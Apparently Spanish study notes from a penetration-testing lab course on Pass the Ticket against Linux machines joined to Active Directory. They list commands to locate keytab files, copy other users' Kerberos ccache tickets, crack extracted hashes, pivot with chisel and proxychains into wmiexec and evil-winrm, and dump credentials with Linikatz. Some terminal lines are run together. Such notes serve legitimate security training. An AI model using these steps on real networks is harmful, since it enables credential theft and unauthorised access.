Pass the Ticket (PtT) (Linux)

Muchas organizaciones unen máquinas Linux a un dominio Active Directory para centralizar la gestión de identidades; en este caso Kerberos sirve como mecanismo de autenticación.

Almacenamiento de Tickets en Linux

  • ccache (por defecto en /tmp/krb5cc_*): archivos temporales que almacenan tickets (TGT/TGS). La variable KRB5CCNAME señala el archivo.
  • keytab (por defecto /etc/krb5.keytab): contiene pares (principal, clave Kerberos) para autenticaciones automáticas sin contraseña.

Descubriendo si la Máquina está en Dominio

  • realm list: muestra si la máquina está unida a un dominio Kerberos.
  • Comprobar sssd o winbind: ps -ef | grep sssd

Búsqueda de Tickets en Linux

Keytab

terminal
$ find / -name "*keytab*"klist -k -t /opt/specialfiles/carlos.keytabkinit carlos@INLANEFREIGHT.HTB -k -t /opt/specialfiles/carlos.keytab$ smbclient //dc01/carlos -k -c ls

ccache

terminal
$ cp /tmp/krb5cc_647401106_XYZ ~/julio_ccache$ export KRB5CCNAME=~/julio_ccacheklist$ smbclient //dc01/julio -k -c ls

Abusando KeyTab y Ccache

Keytab: extraer hashes (NTLM, AES) con keytabextract.py, crackearlos e iniciar sesión con su - usuario@dominio o por SSH.
Ccache: copiar el ccache de un usuario de interés, configurar KRB5CCNAME y usar herramientas que soporten -k (smbclient -k, impacket-wmiexec -k, etc.).

Escalada de Privs

Si encuentras una keytab o ccache de un usuario con privilegios que puede sudo su → escalas a root. También puedes encontrar la ccache de un Domain Admin y acceder a recursos en el DC.

Pivoting y uso de Kerberos desde Máquina Atacante

Montar un servidor chisel, crear un socks en localhost:1080, configurar /etc/hosts para resolver el DC, y usar proxychains impacket-wmiexec dc01 -k o proxychains evil-winrm -i dc01.

Convirtiendo Formatos (ccache ↔ kirbi)

impacket-ticketConverter pasa de ccache a kirbi o viceversa.

Linikatz

Es como mimikatz pero en Linux. Se ejecuta como root y busca credenciales de sssd, Samba, Kerberos, etc. Extrae tickets (ccache, keytab) de la máquina Linux unida a AD.